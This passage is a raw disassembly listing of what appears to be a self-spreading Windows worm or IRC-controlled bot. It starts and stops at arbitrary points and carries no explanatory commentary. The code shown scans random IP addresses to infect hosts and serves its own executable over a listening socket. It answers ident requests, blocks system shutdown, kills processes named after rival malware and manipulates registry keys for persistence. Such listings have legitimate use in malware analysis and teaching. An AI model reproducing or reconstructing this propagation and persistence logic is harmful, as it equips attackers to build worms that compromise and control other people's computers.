cmp eax, 100h jge loc_31302A5E lea eax, [edi+1] push eax lea eax, [esp+3E0h+var_100] push eax call ebx ; lstrcpy push [esp+3DCh+var_3CC] lea eax, [esi+80h] mov byte ptr [edi], 7Ch push eax call ebx ; lstrcpy mov byte ptr [ebp+0], 7Ch and byte ptr [edi], 0 cmp [esp+3DCh+var_100], 62h jle short loc_3130298C lea eax, [esp+3DCh+var_FF] push eax call dword_313010FC ; atoi mov ebp, eax pop ecx test ebp, ebp jz short loc_3130298C cmp ebp, 0E10h jnb short loc_3130298C call dword_31301120 ; rand xor edx, edx mov dword ptr [esi+7Ch], 1 div ebp mov [esi+78h], edx call dword_313010E8 ; GetTickCount mov [esi+74h], eax jmp short loc_3130298C ; --------------------------------------------------------------------------- loc_3130297F: ; CODE XREF: sub_31302755+1A0j push [esp+3DCh+var_3CC] lea eax, [esi+80h] push eax call ebx ; lstrcpy loc_3130298C: ; CODE XREF: sub_31302755+1ECj ; sub_31302755+201j ... lea eax, [esi+80h] push offset asc_31304E34 ; "|" push eax call dword_313010EC ; lstrcat loc_3130299E: ; CODE XREF: sub_31302755+15Cj ; sub_31302755+175j ... mov ebp, dword_31301088 lea eax, [esp+3DCh+var_300] push offset aI ; "i" push eax call ebp ; lstrcmp test eax, eax jnz short loc_31302A14 lea eax, [esp+3DCh+var_3C8] push offset dword_31304FC0 push eax call ebx ; lstrcpy lea eax, [esp+3DCh+var_3C8] push 63h push eax push 7 push 400h call dword_31301088+4 push ds:dword_31305004 lea eax, [esp+3E0h+var_3C8] push eax lea eax, [esp+3E4h+var_364] push ds:dword_31305000 push dword_31304FC8 push offset aDD9SD ; "%d,%d,9%s,%d" push eax call dword_31301134 ; wsprintfA add esp, 18h lea eax, [esp+3DCh+var_364] mov ecx, esi push eax lea eax, [esi+30h] push eax call sub_3130235D loc_31302A14: ; CODE XREF: sub_31302755+260j lea eax, [esp+3DCh+var_300] push offset aQ ; "q" push eax call ebp ; lstrcmp test eax, eax jnz short loc_31302A34 cmp [esi+180h], eax jz short loc_31302A34 push 1 pop eax jmp short loc_31302A60 ; --------------------------------------------------------------------------- loc_31302A34: ; CODE XREF: sub_31302755+2D0j ; sub_31302755+2D8j mov byte ptr [edi], 7Ch loc_31302A37: ; CODE XREF: sub_31302755+A4j ; sub_31302755+B4j ... cmp dword ptr [esi+180h], 0 jz short loc_31302A5E push offset aJoin ; "JOIN" push [esp+3E0h+arg_0] call dword_3130110C ; strstr pop ecx test eax, eax pop ecx jz short loc_31302A5E call dword_31301120 ; rand loc_31302A5E: ; CODE XREF: sub_31302755+E3j ; sub_31302755+124j ... xor eax, eax loc_31302A60: ; CODE XREF: sub_31302755+2DDj pop edi pop esi pop ebp pop ebx add esp, 3CCh retn 4 sub_31302755 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31302A6D proc near ; CODE XREF: sub_313014C6+8p ; sub_313023D4+57p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi pusha rdtsc mov [ebp+var_8], eax popa mov [ebp+var_4], esp call dword_313010E8 ; GetTickCount mov ecx, [ebp+var_4] imul ecx, [ebp+var_8] add eax, ecx push eax call dword_31301100 ; srand pop ecx pop edi pop esi pop ebx leave retn sub_31302A6D endp ; =============== S U B R O U T I N E ======================================= sub_31302A9B proc near ; CODE XREF: sub_31301C20+EAp ; UPX0:31302DDBp ... arg_0 = dword ptr 4 push [esp+arg_0] push 1 push 0 call dword_31301084 ; CreateMutexA retn sub_31302A9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31302AAA proc near ; CODE XREF: sub_31302E37+7Cp ; sub_31302E37+8Ap ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax xor eax, eax push eax push [ebp+arg_4] push [ebp+arg_0] push eax push eax call dword_313010C4 ; CreateThread pop ebp retn sub_31302AAA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31302AC4 proc near ; CODE XREF: sub_31302C49+12Cp ; sub_31302E37+62p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax xor eax, eax push eax push [ebp+arg_4] push [ebp+arg_0] push eax push eax call dword_313010C4 ; CreateThread push eax call dword_313010A0 ; CloseHandle pop ebp retn sub_31302AC4 endp ; =============== S U B R O U T I N E ======================================= sub_31302AE5 proc near ; CODE XREF: sub_31301E60+88p ; sub_31301E60+155p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] push esi push edi mov edi, [esp+0Ch+arg_4] xor esi, esi test edi, edi jle short loc_31302B0D loc_31302AF6: ; CODE XREF: sub_31302AE5+26j call dword_31301120 ; rand push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [esi+ebx], dl inc esi cmp esi, edi jl short loc_31302AF6 loc_31302B0D: ; CODE XREF: sub_31302AE5+Fj and byte ptr [ebx+edi], 0 pop edi pop esi pop ebx retn sub_31302AE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31302B15 proc near ; CODE XREF: sub_31301341+16Bp ; sub_3130263B+105p var_54 = dword ptr -54h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp sub esp, 54h push esi push edi push 44h xor esi, esi pop edi lea eax, [ebp+var_54] push edi push esi push eax call sub_31303744 ; memset mov ax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_24], ax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax push esi push esi push esi push esi push esi push esi mov [ebp+var_54], edi push [ebp+arg_0] push esi call dword_31301080 ; CreateProcessA push [ebp+var_C] mov esi, dword_313010A0 mov edi, eax call esi ; CloseHandle push [ebp+var_10] call esi ; CloseHandle mov eax, edi pop edi pop esi leave retn sub_31302B15 endp ; =============== S U B R O U T I N E ======================================= sub_31302B6B proc near ; CODE XREF: sub_31301E60+20p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push edi call dword_31301160 ; inet_addr mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_31302B88 test esi, esi jnz short loc_31302B9A cmp byte ptr [edi], 30h jz short loc_31302BA1 loc_31302B88: ; CODE XREF: sub_31302B6B+12j push edi call dword_31301164 ; gethostbyname test eax, eax jz short loc_31302B9A mov eax, [eax+0Ch] mov eax, [eax] mov esi, [eax] loc_31302B9A: ; CODE XREF: sub_31302B6B+16j ; sub_31302B6B+26j cmp esi, 0FFFFFFFFh jnz short loc_31302BA1 xor esi, esi loc_31302BA1: ; CODE XREF: sub_31302B6B+1Bj ; sub_31302B6B+32j mov eax, esi pop edi pop esi retn sub_31302B6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31302BA6 proc near ; CODE XREF: sub_31303196+37p ; sub_31303256+4Ep var_34 = byte ptr -34h push ebp mov ebp, esp sub esp, 34h lea eax, [ebp+var_34] push 31h push eax call dword_31301158 ; gethostname cmp eax, 0FFFFFFFFh jnz short loc_31302BC7 call dword_3130115C ; WSAGetLastError xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_31302BC7: ; CODE XREF: sub_31302BA6+15j lea eax, [ebp+var_34] push eax call dword_31301164 ; gethostbyname test eax, eax jnz short loc_31302BDC mov eax, 100007Fh leave retn ; --------------------------------------------------------------------------- loc_31302BDC: ; CODE XREF: sub_31302BA6+2Dj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] leave retn sub_31302BA6 endp ; =============== S U B R O U T I N E ======================================= sub_31302BE5 proc near ; CODE XREF: sub_31302260:loc_3130229Bp ; sub_31302260+CDp ... var_4 = byte ptr -4 push ecx lea eax, [esp+4+var_4] push 0 push eax call dword_3130113C ; InternetGetConnectedState neg eax sbb eax, eax neg eax pop ecx retn sub_31302BE5 endp ; =============== S U B R O U T I N E ======================================= sub_31302BFB proc near ; DATA XREF: sub_31302C49+127o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 push dword_31304FCC push dword_31304FC4 push esi call dword_31301194 ; send push 7D0h call dword_313010D0 ; Sleep push offset dword_31304FC8 call dword_3130107C ; InterlockedIncrement push 2 push esi call dword_31301174 ; shutdown push esi call dword_3130118C ; closesocket push 0 call dword_313010B8 ; ExitThread xor eax, eax pop esi retn 4 sub_31302BFB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31302C49 proc near ; DATA XREF: sub_31302E37+82o var_130 = byte ptr -130h var_28 = byte ptr -28h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 130h push ebx push edi call sub_31302A6D lea eax, [ebp+var_130] push 104h push eax push offset aUpdateService ; "Update Service" xor ebx, ebx push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h mov dword_31304FC8, ebx call sub_3130336A add esp, 14h test eax, eax jnz loc_31302D7E push esi push ebx push ebx push 3 push ebx push 1 lea eax, [ebp+var_130] push 80000000h push eax call dword_313010A8 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_31302CB5 push 1 call dword_313010B8 ; ExitThread loc_31302CB5: ; CODE XREF: sub_31302C49+62j push ebx push esi call dword_31301074 ; GetFileSize push eax mov dword_31304FCC, eax call sub_31303717 pop ecx mov dword_31304FC4, eax lea ecx, [ebp+var_4] push ebx push ecx push dword_31304FCC push eax push esi call dword_31301078 ; ReadFile mov eax, [ebp+var_4] push esi mov dword_31304FCC, eax call dword_313010A0 ; CloseHandle push ebx push 1 push 2 call dword_31301178 ; socket push 10h mov edi, eax pop esi lea eax, [ebp+var_18] push esi push ebx push eax call sub_31303744 ; memset add esp, 0Ch mov [ebp+var_18], 2 mov [ebp+var_14], ebx loc_31302D17: ; CODE XREF: sub_31302C49+E5j ; sub_31302C49+EDj ... call dword_31301120 ; rand add eax, 7D0h and eax, 1FFFh cmp al, bl mov dword_31304FF8, eax jz short loc_31302D17 xor ecx, ecx mov cl, ah test cl, cl jz short loc_31302D17 push eax call dword_3130117C ; htons mov [ebp+var_16], ax lea eax, [ebp+var_18] push esi push eax push edi call dword_31301180 ; bind test eax, eax jnz short loc_31302D17 push 64h push edi call dword_31301184 ; listen mov [ebp+var_8], esi pop esi loc_31302D60: ; CODE XREF: sub_31302C49+133j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_28] push eax push edi call dword_31301188 ; accept push eax push offset sub_31302BFB call sub_31302AC4 pop ecx pop ecx jmp short loc_31302D60 ; --------------------------------------------------------------------------- loc_31302D7E: ; CODE XREF: sub_31302C49+3Dj push ebx call dword_313010B8 ; ExitThread pop edi xor eax, eax pop ebx leave retn 4 sub_31302C49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31302D8D proc near ; CODE XREF: sub_31302E37+1Fp var_190 = byte ptr -190h push ebp mov ebp, esp sub esp, 190h lea eax, [ebp+var_190] push esi mov esi, dword_31301150 push eax push 2 call esi ; WSAStartup lea eax, [ebp+var_190] push eax push 102h call esi ; WSAStartup pop esi leave retn sub_31302D8D endp ; --------------------------------------------------------------------------- loc_31302DB9: ; CODE XREF: UPX1:313072D8j push 0 call dword_313010DC ; GetModuleHandleA push offset aFtpupd_exe ; "ftpupd.exe" mov dword_31304FFC, eax call dword_3130106C ; DeleteFileA call sub_31302A6D push offset aUterm_9 ; "uterm_9" call sub_31302A9B pop ecx mov dword_31304FD0, eax call dword_31301094 ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_31302DFB push 1 call dword_31301070 ; ExitProcess loc_31302DFB: ; CODE XREF: UPX0:31302DF1j call sub_31301B98 call sub_313034CE call sub_31303641 push offset sub_31302E37 call sub_31301C20 test eax, eax pop ecx jz short loc_31302E20 push 0 call sub_31302E37 loc_31302E20: ; CODE XREF: UPX0:31302E17j xor eax, eax retn ; =============== S U B R O U T I N E ======================================= sub_31302E23 proc near ; CODE XREF: sub_31302E37:loc_31302EE8p ; sub_313030B2:loc_313030CAp ... push 0 push dword_31304FD4 call dword_313010C0 ; WaitForSingleObject neg eax sbb eax, eax inc eax retn sub_31302E23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31302E37 proc near ; CODE XREF: UPX0:31302E1Bp ; DATA XREF: UPX0:31302E0Ao var_20 = dword ptr -20h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi xor edi, edi push offset aU9x ; "u9x" push edi push 1 push edi call dword_313010C8 ; CreateEventA mov dword_31304FD4, eax call sub_31302D8D push offset aU6 ; "u6" call sub_31302A9B mov [esp+20h+var_20], offset aU7 ; "u7" call sub_31302A9B mov [esp+20h+var_20], offset aU9 ; "u9" call sub_31302A9B cmp [ebp+arg_0], edi pop ecx jz short loc_31302E93 push offset aUterm_9 ; "uterm_9" call sub_31302A9B pop ecx mov dword_31304FD0, eax loc_31302E93: ; CODE XREF: sub_31302E37+4Aj push edi push offset sub_31302F59 call sub_31302AC4 mov esi, dword_313010D0 pop ecx pop ecx push 1F4h call esi ; Sleep push edi push offset loc_31302432 call sub_31302AAA push edi push offset sub_31302C49 mov [ebp+var_10], eax call sub_31302AAA push edi push offset sub_31301562 mov [ebp+var_C], eax call sub_31302AAA push edi push offset sub_31303256 mov [ebp+var_8], eax call sub_31302AAA add esp, 20h mov [ebp+var_4], eax loc_31302EE8: ; CODE XREF: sub_31302E37+C8j call sub_31302E23 test eax, eax jnz short loc_31302F01 push edi call dword_31301018 ; AbortSystemShutdownA push 1388h call esi ; Sleep jmp short loc_31302EE8 ; --------------------------------------------------------------------------- loc_31302F01: ; CODE XREF: sub_31302E37+B8j push 4 lea edi, [ebp+var_10] pop ebx loc_31302F07: ; CODE XREF: sub_31302E37+E6j mov esi, [edi] push 1 push esi call dword_31301068 ; TerminateThread push esi call dword_313010A0 ; CloseHandle add edi, 4 dec ebx jnz short loc_31302F07 pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_31302E37 endp ; =============== S U B R O U T I N E ======================================= sub_31302F28 proc near ; CODE XREF: sub_31302F59+F9p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_3130374A ; strlen test eax, eax pop ecx jbe short loc_31302F56 loc_31302F3B: ; CODE XREF: sub_31302F28+2Cj mov al, [esi+edi] cmp al, 0Ah jz short loc_31302F46 cmp al, 0Dh jnz short loc_31302F4A loc_31302F46: ; CODE XREF: sub_31302F28+18j and byte ptr [esi+edi], 0 loc_31302F4A: ; CODE XREF: sub_31302F28+1Cj push edi inc esi call sub_3130374A ; strlen cmp esi, eax pop ecx jb short loc_31302F3B loc_31302F56: ; CODE XREF: sub_31302F28+11j pop edi pop esi retn sub_31302F28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31302F59 proc near ; DATA XREF: sub_31302E37+5Do var_154 = dword ptr -154h var_148 = byte ptr -148h var_48 = byte ptr -48h var_28 = byte ptr -28h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 148h push ebx mov [ebp+var_8], esp call sub_31302A6D call dword_31301120 ; rand push 4 cdq pop ecx idiv ecx lea eax, [ebp+var_48] add edx, 3 push edx push eax call sub_31302AE5 lea eax, [ebp+var_48] mov ebx, offset dword_31304FD8 push eax push ebx call sub_3130379C ; _mbscpy add esp, 10h mov [ebp+var_4], 10h push 0 push 1 push 2 call dword_31301178 ; socket push 0 mov [ebp+var_8], eax mov [ebp+var_18], 2 call dword_31301154 ; htonl push 71h mov [ebp+var_14], eax call dword_3130117C ; htons push [ebp+var_4] mov [ebp+var_16], ax lea eax, [ebp+var_18] push eax push [ebp+var_8] call dword_31301180 ; bind test eax, eax jz short loc_31302FE5 push 1 pop eax loc_31302FE0: ; CODE XREF: sub_31302F59+A2j pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_31302FE5: ; CODE XREF: sub_31302F59+82j push esi push edi push 5 push [ebp+var_8] call dword_31301184 ; listen test eax, eax jz short loc_31302FFD push 1 pop eax pop edi pop esi jmp short loc_31302FE0 ; --------------------------------------------------------------------------- loc_31302FFD: ; CODE XREF: sub_31302F59+9Bj mov edi, dword_313010D0 loc_31303003: ; CODE XREF: sub_31302F59+C6j ; sub_31302F59+E8j lea eax, [ebp+var_4] push eax lea eax, [ebp+var_28] push eax push [ebp+var_8] call dword_31301188 ; accept mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_31303021 push 64h call edi ; Sleep jmp short loc_31303003 ; --------------------------------------------------------------------------- loc_31303021: ; CODE XREF: sub_31302F59+C0j push 0 lea eax, [ebp+var_148] push 100h push eax push esi call dword_31301190 ; recv test eax, eax jnz short loc_31303043 loc_3130303A: ; CODE XREF: sub_31302F59+157j push esi call dword_3130118C ; closesocket jmp short loc_31303003 ; --------------------------------------------------------------------------- loc_31303043: ; CODE XREF: sub_31302F59+DFj and [ebp+eax+var_148], 0 lea eax, [ebp+var_148] push eax call sub_31302F28 lea eax, [ebp+var_148] mov [esp+154h+var_154], offset aUseridUnix ; " : USERID : UNIX : " push eax call sub_31303796 ; _mbscat lea eax, [ebp+var_148] push ebx push eax call sub_31303796 ; _mbscat lea eax, [ebp+var_148] push offset asc_31304E60 ; "\r\n" push eax call sub_31303796 ; _mbscat add esp, 18h lea eax, [ebp+var_148] push 0 push eax call sub_3130374A ; strlen pop ecx push eax lea eax, [ebp+var_148] push eax push esi call dword_31301194 ; send push 1388h call edi ; Sleep jmp short loc_3130303A sub_31302F59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_313030B2 proc near ; DATA XREF: sub_31303112+54o ; sub_31303196+63o ... var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_0], 7Fh jnz short loc_313030C1 push 1 pop eax jmp short locret_3130310E ; --------------------------------------------------------------------------- loc_313030C1: ; CODE XREF: sub_313030B2+8j mov al, byte ptr [ebp+arg_0+3] push ebx mov [ebp+var_1], al xor bl, bl loc_313030CA: ; CODE XREF: sub_313030B2+57j call sub_31302E23 test eax, eax jnz short loc_3130310B call sub_31302BE5 test eax, eax jz short loc_3130310B cmp [ebp+var_1], bl jz short loc_31303104 mov byte ptr [ebp+arg_0+3], bl push [ebp+arg_0] call sub_31301631 pop ecx call dword_31301120 ; rand cdq mov ecx, 15Eh idiv ecx add edx, ecx push edx call dword_313010D0 ; Sleep loc_31303104: ; CODE XREF: sub_313030B2+2Dj inc bl cmp bl, 0FFh jb short loc_313030CA loc_3130310B: ; CODE XREF: sub_313030B2+1Fj ; sub_313030B2+28j xor eax, eax pop ebx locret_3130310E: ; CODE XREF: sub_313030B2+Dj leave retn 4 sub_313030B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31303112 proc near ; DATA XREF: sub_31303196+73o ; sub_31303256+AAo arg_0 = dword ptr 8 push ebp mov ebp, esp cmp byte ptr [ebp+arg_0], 7Fh jnz short loc_31303120 push 1 pop eax jmp short loc_31303192 ; --------------------------------------------------------------------------- loc_31303120: ; CODE XREF: sub_31303112+7j push ebx push esi call sub_31302A6D mov esi, dword_31301120 xor ebx, ebx loc_3130312F: ; CODE XREF: sub_31303112+7Aj call sub_31302E23 test eax, eax jnz short loc_3130318E call sub_31302BE5 test eax, eax jz short loc_3130318E call esi ; rand mov byte ptr [ebp+arg_0+2], al call esi ; rand push offset dword_31305000 mov byte ptr [ebp+arg_0+3], al call dword_3130107C ; InterlockedIncrement push [ebp+arg_0] call sub_31301631 test eax, eax pop ecx jnz short loc_31303172 push [ebp+arg_0] push offset sub_313030B2 call sub_31302AC4 pop ecx pop ecx loc_31303172: ; CODE XREF: sub_31303112+4Fj call esi ; rand cdq mov ecx, 15Eh idiv ecx add edx, ecx push edx call dword_313010D0 ; Sleep inc ebx cmp ebx, 8000h jl short loc_3130312F loc_3130318E: ; CODE XREF: sub_31303112+24j ; sub_31303112+2Dj pop esi xor eax, eax pop ebx loc_31303192: ; CODE XREF: sub_31303112+Cj pop ebp retn 4 sub_31303112 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31303196 proc near ; DATA XREF: sub_31303256+C2o var_4 = dword ptr -4 push ebp mov ebp, esp push ecx call sub_31302A6D call sub_31302E23 test eax, eax jnz loc_31303248 push ebx push esi mov esi, dword_31301120 push edi loc_313031B5: ; CODE XREF: sub_31303196+41j ; sub_31303196+A9j call esi ; rand mov byte ptr [ebp+var_4+1], al call esi ; rand mov byte ptr [ebp+var_4+3], al call esi ; rand mov byte ptr [ebp+var_4+2], al loc_313031C4: ; CODE XREF: sub_31303196+35j call esi ; rand cmp al, 7Fh mov byte ptr [ebp+var_4], al jz short loc_313031C4 call sub_31302BA6 mov edi, [ebp+var_4] cmp edi, eax jz short loc_313031B5 call sub_31302BE5 test eax, eax jz short loc_3130321A push offset dword_31305000 call dword_3130107C ; InterlockedIncrement push edi call sub_31301631 test eax, eax pop ecx jnz short loc_31303225 push edi push offset sub_313030B2 call sub_31302AC4 pop ecx pop ecx push 4 pop ebx loc_31303208: ; CODE XREF: sub_31303196+80j push edi push offset sub_31303112 call sub_31302AC4 pop ecx dec ebx pop ecx jnz short loc_31303208 jmp short loc_31303225 ; --------------------------------------------------------------------------- loc_3130321A: ; CODE XREF: sub_31303196+4Aj push 2710h call dword_313010D0 ; Sleep loc_31303225: ; CODE XREF: sub_31303196+60j ; sub_31303196+82j call esi ; rand cdq mov ecx, 15Eh idiv ecx add edx, ecx push edx call dword_313010D0 ; Sleep call sub_31302E23 test eax, eax jz loc_313031B5 pop edi pop esi pop ebx loc_31303248: ; CODE XREF: sub_31303196+10j push 0 call dword_313010B8 ; ExitThread xor eax, eax leave retn 4 sub_31303196 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31303256 proc near ; DATA XREF: sub_31302E37+9Eo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi xor esi, esi mov ds:dword_31305000, esi loc_31303266: ; CODE XREF: sub_31303256+24j call sub_31302BE5 test eax, eax jnz short loc_3130327C push 1388h call dword_313010D0 ; Sleep jmp short loc_31303266 ; --------------------------------------------------------------------------- loc_3130327C: ; CODE XREF: sub_31303256+17j lea eax, [ebp+var_4] push esi push eax call dword_3130113C ; InternetGetConnectedState test [ebp+var_4], 2 push 50h mov ds:dword_31305004, esi pop ebx jz short loc_313032A3 mov ds:dword_31305004, 1 add ebx, 46h loc_313032A3: ; CODE XREF: sub_31303256+3Ej push edi call sub_31302BA6 mov esi, eax mov ax, word ptr dword_31304FF8 push eax call dword_3130117C ; htons mov [ebp+var_8], eax lea eax, [ebp+var_8] push 2 push eax push offset loc_31304122 call sub_3130373E ; memcpy mov eax, esi push 4 xor eax, 0AAAAAAAAh pop edi mov [ebp+var_C], eax lea eax, [ebp+var_C] push edi push eax push offset loc_31304124 call sub_3130373E ; memcpy add esp, 18h cmp esi, 100007Fh jz short loc_313032FF push esi push offset sub_313030B2 call sub_31302AC4 pop ecx pop ecx loc_313032FF: ; CODE XREF: sub_31303256+9Aj ; sub_31303256+B7j push esi push offset sub_31303112 call sub_31302AC4 pop ecx dec edi pop ecx jnz short loc_313032FF test ebx, ebx pop edi jle short loc_31303327 mov esi, ebx loc_31303316: ; CODE XREF: sub_31303256+CFj push 0 push offset sub_31303196 call sub_31302AC4 pop ecx dec esi pop ecx jnz short loc_31303316 loc_31303327: ; CODE XREF: sub_31303256+BCj push 0FFFFFFFFh call dword_313010D0 ; Sleep pop esi xor eax, eax pop ebx leave retn sub_31303256 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31303335 proc near ; CODE XREF: sub_313034CE+85p ; sub_31303641+B5p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax push 0F003Fh push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_3130100C ; RegOpenKeyExA test eax, eax jnz short loc_31303368 push [ebp+arg_8] push [ebp+arg_4] call dword_31301010 ; RegDeleteValueA push [ebp+arg_4] call dword_31301014 ; RegCloseKey loc_31303368: ; CODE XREF: sub_31303335+1Cj pop ebp retn sub_31303335 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3130336A proc near ; CODE XREF: sub_31302C49+33p ; sub_313034CE+76p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_10] push esi mov [ebp+var_4], eax lea eax, [ebp+arg_10] push eax xor esi, esi push 0F003Fh push esi push [ebp+arg_4] push [ebp+arg_0] call dword_3130100C ; RegOpenKeyExA test eax, eax jz short loc_31303396 push 1 pop eax jmp short loc_313033C0 ; --------------------------------------------------------------------------- loc_31303396: ; CODE XREF: sub_3130336A+25j lea eax, [ebp+var_4] push eax lea eax, [ebp+arg_4] push [ebp+arg_C] push eax push esi push [ebp+arg_8] push [ebp+arg_10] call dword_31301008 ; RegQueryValueExA test eax, eax jz short loc_313033B5 push 2 pop esi loc_313033B5: ; CODE XREF: sub_3130336A+46j push [ebp+arg_10] call dword_31301014 ; RegCloseKey mov eax, esi loc_313033C0: ; CODE XREF: sub_3130336A+2Aj pop esi leave retn sub_3130336A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_313033C3 proc near ; CODE XREF: sub_31303575+96p ; sub_31303641+60p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push esi xor esi, esi lea eax, [ebp+arg_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push [ebp+arg_4] push [ebp+arg_0] call dword_31301000 ; RegCreateKeyExA test eax, eax jz short loc_313033EC push 1 pop eax jmp short loc_31303413 ; --------------------------------------------------------------------------- loc_313033EC: ; CODE XREF: sub_313033C3+22j push [ebp+arg_10] push [ebp+arg_C] push 1 push esi push [ebp+arg_8] push [ebp+arg_4] call dword_31301004 ; RegSetValueExA test eax, eax jz short loc_31303408 push 2 pop esi loc_31303408: ; CODE XREF: sub_313033C3+40j push [ebp+arg_4] call dword_31301014 ; RegCloseKey mov eax, esi loc_31303413: ; CODE XREF: sub_313033C3+27j pop esi pop ebp retn sub_313033C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31303416 proc near ; CODE XREF: sub_313034CE+91p var_128 = dword ptr -128h var_120 = dword ptr -120h var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 128h push ebx mov ebx, [ebp+arg_0] push esi push ebx call dword_313010CC ; lstrlen mov esi, eax dec esi test esi, esi jle loc_313034CA loc_31303436: ; CODE XREF: sub_31303416+27j cmp byte ptr [esi+ebx], 5Ch jz short loc_3130343F dec esi jns short loc_31303436 loc_3130343F: ; CODE XREF: sub_31303416+24j push 0 push 2 call sub_313037AE ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_313034CA push 128h lea eax, [ebp+var_128] push 0 push eax call sub_31303744 ; memset add esp, 0Ch lea eax, [ebp+var_128] mov [ebp+var_128], 128h push eax push [ebp+arg_0] call sub_313037A8 ; Process32First test eax, eax jz short loc_313034CA lea esi, [esi+ebx+1] loc_31303487: ; CODE XREF: sub_31303416+B2j lea eax, [ebp+var_104] push eax push esi call dword_3130110C ; strstr pop ecx test eax, eax pop ecx jz short loc_313034B7 push [ebp+var_120] push 0 push 1F0FFFh call dword_313010E4 ; OpenProcess push 0 push eax call dword_31301060 ; TerminateProcess loc_313034B7: ; CODE XREF: sub_31303416+83j lea eax, [ebp+var_128] push eax push [ebp+arg_0] call sub_313037A2 ; Process32Next test eax, eax jnz short loc_31303487 loc_313034CA: ; CODE XREF: sub_31303416+1Aj ; sub_31303416+38j ... pop esi pop ebx leave retn sub_31303416 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_313034CE proc near ; CODE XREF: UPX0:31302E00p var_134 = byte ptr -134h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 134h push ebx push esi lea eax, [ebp+var_2C] push edi mov [ebp+var_2C], offset aWindowsSecurit ; "Windows Security Manager" mov [ebp+var_28], offset aSystemServiceM ; "System Service Manager" mov [ebp+var_24], offset aSystemRestoreS ; "System Restore Service" mov [ebp+var_20], offset aBotLoader ; "Bot Loader" mov [ebp+var_1C], offset aSystray ; "SysTray" mov [ebp+var_18], offset aWinupdate ; "WinUpdate" mov [ebp+var_14], offset aWindowsUpdateS ; "Windows Update Service" mov [ebp+var_10], offset aAvserve_exe ; "avserve.exe" mov [ebp+var_C], offset aAvserve2_exe ; "avserve2.exe" mov [ebp+var_4], eax mov [ebp+var_8], 9 mov edi, offset aSoftwareMicros ; 